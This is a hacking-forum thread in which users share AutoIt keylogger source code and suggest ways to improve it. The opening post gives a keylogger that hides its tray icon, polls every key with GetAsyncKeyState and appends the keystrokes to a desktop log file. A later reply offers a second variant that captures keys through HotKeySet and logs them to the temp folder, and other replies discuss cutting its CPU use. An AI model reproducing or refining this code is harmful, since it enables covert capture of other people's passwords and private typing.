[M3 ™]

Code:

#NotrayIcon #include <WinAPI.au3> ;============================== ; AutoIt ; Autor : M3 ; Simple KeyLoguer Function ;============================== sGetKey() Func sGetKey() While 1 Local $sKey, $Result , $Log For $sKey = 1 To 255 $Result = _WinAPI_GetAsyncKeyState($sKey) If $Result = -32767 then $Result = Chr($sKey) $Log = FileOpen(@DesktopDir & "\Log.txt", 1) FileWrite($Log, $Result) FileClose($Log) EndIf Next WEnd Endfunc

[1234hotmaster]

Not bad.

[Jacob]

I was almost scared thinking it was one of our hooks xD

[1234hotmaster]

lol nah my hook isn't even gonna be leaked

[Jacob]

lol nah my hook isn't even gonna be leaked

You sure...I do have it ya know )

[muhammad fakir]

Hey, its nice thanks for your key

[1234hotmaster]

lol nah my hook isn't even gonna be leaked

You sure...I do have it ya know )

You wouldn't dare... WOULD YOU? :o


@mohamadfakir
Key? House key? Car key?

[spymare]

LOL 25% cpu ussage...
this messsage is way too short.

[1234hotmaster]

LOL 25% cpu ussage...
this messsage is way too short.

Ik, thats why you use Switch and specify the certain keyboard integers instead of looping it with high numbers.

[0xdefea7]

Long winded method, but has some advantages. There are no hooks and CPU usage is really low. It is a fairly accurate method as well. I only wrote for a and b to show as an example, you'll have to fill in the blanks.

Code:

$hFile = FileOpen(@TempDir & "\fdas.dat", 1) HotKeySet("a", "a") HotKeySet("b", "b") Func a() HotKeySet("a") Send("a") FileWrite($hFile, "a") HotKeySet("a", "a") EndFunc Func b() HotKeySet("b") Send("b") FileWrite($hFile, "b") HotKeySet("b", "b") EndFunc While 1 Sleep(250) WEnd

I did not see this post before posting here: http://www.hackcommunity.com/Thread-Simp...t-function

That one is complete.